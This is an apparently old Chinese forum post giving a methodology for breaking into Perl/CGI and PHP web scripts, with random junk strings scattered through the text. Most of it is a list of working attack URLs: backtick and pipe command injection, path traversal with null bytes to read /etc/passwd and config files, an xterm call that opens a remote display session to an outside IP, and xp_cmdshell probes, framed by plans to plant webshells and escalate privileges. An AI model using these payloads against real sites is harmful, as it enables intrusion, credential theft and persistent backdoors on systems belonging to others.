总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着 o2 y. U% g; u+ G
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权
D% X# b/ P( K; ^9 d" b感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们 / J) y4 F+ r/ _$ k" `$ ^, n; Z
注“ & p; M: S2 F4 j0 C) T0 h$ g+ j
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。 # [$ I' c, m3 ]: n9 J6 b, }9 d
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
3 {# _- V% Q; {" I
, i9 N. F, F ^& c5 Qhttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造 $ R& c5 }; ]# s- c5 k
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢 ) }" K @! n6 O* V4 S
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号 1 Q; L. Q, U+ M% u
http://target.com/cgi-bin/home/news/sub.pl?`id`
4 ]$ ?5 _1 j% e% T6 M9 a* thttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a` 4 J' N' N, T) r# E8 l
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
+ A7 ~! v, X4 T: i; s' G- j" ^6 _1 e: Z2 i
http://target.com/test.pl;ls| z d- O0 B( `. Q2 o# E" A
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm| / Z# ]" e! S7 v" E
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|
* s# R! e/ W4 S$ bhttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造
, Z; J. c5 }. s: Q比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
# ]; `7 K/ L$ [& f( jhttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection
% ^; N, P) k$ v! d9 x- t5 W, J# n% ]8 k2 f* ?
http://target.com/test.pl?&........ /../../etc/passwd ) `- U+ }5 v# p" [+ ]# K
5 x# d2 B0 T# r! P: v
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./
5 @7 E# O* ]6 U/ h4 Lhttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
% k$ Q- M+ A- w8 n3 whttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00
4 O4 x r. z$ p. _' G" b$ q7 }) ]% J0 e
http://www.target.org/show.php?f ... /include/config.php 查看php代码
# S l. r3 h/ c) u% z" Yhttp://www.target.org/show.php?f ... ng/admin/global.php
e1 {8 Y% `" f, e% t' r, w9 }/ `
w! X9 s( \! ~. h& [6 f' C8 q# Bemm和ps的一句话
, j5 B3 H! N8 U! y; @! _1 C, a* `6 i& @
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20 0 ` s6 X6 N& `" H6 ]
+ N- Z) \, C( ~5 \( @
>bbb%20|
- k0 @2 _7 v% N- Y; R( | {' S
# V; `4 ^6 ?0 Ihttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串 8 V% F' o8 S, |! _
. x: N: H7 ]' Z. G) Rhttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征 / H0 a4 p% x! ^
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin
9 Z$ k9 Y+ S E/ t* Z7 I a% n% f i. A' t' l
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法
" o- T- {, H& G1 @. X8 I+ p, U* ?' thttp://target.com/index.html#cmd.exe
( N& o/ \2 w5 Z5 y2 U6 shttp://target.com/index.html?dummyparam=xp_cmdshell
: x6 b! I3 ~" C! D h6 o% {1 U, ?lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd * E/ W9 K4 @3 \8 b
|